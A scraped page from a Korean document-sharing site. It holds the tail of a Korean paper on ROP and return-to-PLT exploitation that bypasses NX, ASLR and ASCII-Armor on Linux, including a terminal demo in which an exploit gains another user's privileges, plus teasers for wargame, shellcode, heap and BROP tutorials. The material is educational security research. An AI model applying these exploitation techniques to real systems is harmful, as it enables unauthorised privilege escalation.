(guessed) Stack randomisation test (PAGEEXEC) : 23 bits (guessed) Return to function (strcpy) : Vulnerable Return to function (memcpy) : Vulnerable Return to function (strcpy, PIE) : Vulnerable Return to function (memcpy, PIE) : Vulnerable

20 ~/demo $./vuln `python -c 'print "A"*512'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA Len:512 Killed (core dumped) [102]# dmesg tail -3 [ ] PAX: terminating task: /home/jail/demo/vuln(vuln):26476, uid/euid: 1002/1002, PC: , SP: 5cb07330 [ ] PAX: bytes at PC:???????????????????????????????????????? [ ] PAX: bytes at SP-4: ~/demo $ /sbin/paxctl -v vuln PaX control v0.5 Copyright 2004,2005,2006,2007 PaX Team <pageexec@fre .hu> - PaX flags: P-S-M-X-E-R- [vuln] PAGEEXEC is enabled SEGMEXEC is enabled MPROTECT is enabled RANDEXEC is enabled EMUTRAMP is enabled RANDMMAP is enabled jail@gen2 ~/demo $ id uid=1002(jail) gid=1348(jail) groups=1348(jail) jail@gen2 ~/demo $./exploit.py vuln [ useless output ] Len:1524 vuln-user@gen2 /home/jail/demo $ id uid=99(vuln-user) gid=1348(jail) groups=1348(jail)

21 5 Countermeasures 이기술은 ret-to-libc와리턴할코드의고정된메모리영역이요구되는 ASLR 환경에서의 ROP같은취약한프로그램에서떨어진다. 그리고이기술은위치독립적인실행 (PIE) 바이너리는동작이불가능하다. PIE 바이너리는실행될때어떤메모리영역에서도공유라이브러리가되어로드될수있고공격자가만든 return-to-plt hook에게고정되지않은영역을제공한다. 하지만, 동작에패널티가있고재컴파일을해야하는이유로, 최신의리눅스배포판들에서의바이너리들은 PIE가설정되지않았다. 또한 GOT overwriting 기법은 RELRO로링크되거나읽기전용의 GOT 테이블에 BIND_NOW 옵션이있을경우동작하지않는다. 수년간이옵션이 binutils에서사용이가능했지만, 많은리눅스배포판에서체택되지않는것으로굳혀졌다. 6. Conclusions 이문서에서는 NX, ASLR 그리고 ASCII-Armor가적용된최신의 x86 리눅스배포판들에서스택기반의 BOF 취약점포괄적인기술들을설명했다. 원하는페이로드를전송한커스텀스택의고정된메모리영역재사용그리고데이터의바이트값재사용을통해우리는 ASLR, ASCII-Armor를패배시켰다. ROP 가젯 helper를통해런타임에서의주소를해결하고, NX를우회하는오래된기법인 ret-to-libc로 ASLR이설정된시스템에서도잘동작한다. 이제 x86 리눅스에서의 ROP 익스플로잇은어떤바이너리에서도찾을수있는몇개의가젯들로쉽게할수있다. 바이너리에서가젯들을찾아내고 stage-0에서페이로드를자동화를제작하는자동화된 ROP 툴을개발할수있다. References [1] O. Aleph, Smashing the stack for fun and profit, Phrack Magazine, vol. 7, 1996, p. 49. [2] S. Designer, "return-to-libc" attack, Bugtraq, Aug, [3] R.N. Wojtczuk, The advanced return-into-lib (c) exploits: PaX case study, Phrack Magazine, Volume 0x0b, Issue 0x3a, Phile# 0x04 of 0x0e, [4] H. Shacham, The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86), Proceedings of the 14th ACM conference on Computer and communications security, 2007, p [5] E. Buchanan, R. Roemer, H. Shacham, and S. Savage, When good instructions go bad: Generalizing return-oriented programming to RISC, Proceedings of the 15th ACM conference on Computer and communications security, 2008, pp [6] S. Krahmer, x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique, [7] T. Kornau, Return oriented programming for the ARM architecture, [8] A. Francillon and C. Castelluccia, Code injection attacks on harvard-architecture devices, Proceedings of the 15th ACM conference on Computer and communications

22 security, 2008, pp [9] R. Hund, T. Holz, and F. Freiling, Return-oriented rootkits: Bypassing kernel code integrity protection mechanisms, Proceedings of the 18th USENIX Security Symposium, [10] H. Shacham, M. Page, B. Pfaff, E.J. Goh, N. Modadugu, and D. Boneh, On the effectiveness of address-space randomization, Proceedings of the 11th ACM conference on Computer and communications security, 2004, pp [11] G.F. Roglia, L. Martignoni, R. Paleari, and D. Bruschi, Surgically Returning to Randomized lib (c), 2009 Annual Computer Security Applications Conference, 2009, pp [12] PaX Team, Homepage of PaX Available: [13] U. Drepper, Security enhancements in redhat enterprise linux (beside selinux), [14] Gentoo Foundation, The Gentoo Hardened Toolchain Available:

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st 08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

The_IDA_Pro_Book

The_IDA_Pro_Book The IDA Pro Book Hacking Group OVERTIME force (forceteam01@gmail.com) GETTING STARTED WITH IDA IDA New : Go : IDA Previous : IDA File File -> Open Processor type : Loading Segment and Loading Offset x86

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

Deok9_PE Structure

Deok9_PE Structure PE Structure CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 1. PE > 1) PE? 2) PE 3) PE Utility

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M 01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM Machine code Assembly code Linux system call in assembly

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

CD-RW_Advanced.PDF

CD-RW_Advanced.PDF HP CD-Writer Program User Guide - - Ver. 2.0 HP CD-RW Adaptec Easy CD Creator Copier, Direct CD. HP CD-RW,. Easy CD Creator 3.5C, Direct CD 3.0., HP. HP CD-RW TEAM ( 02-3270-0803 ) < > 1. CD...3 CD...5

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을 리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - o8.pptx 메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)

More information

vi 사용법

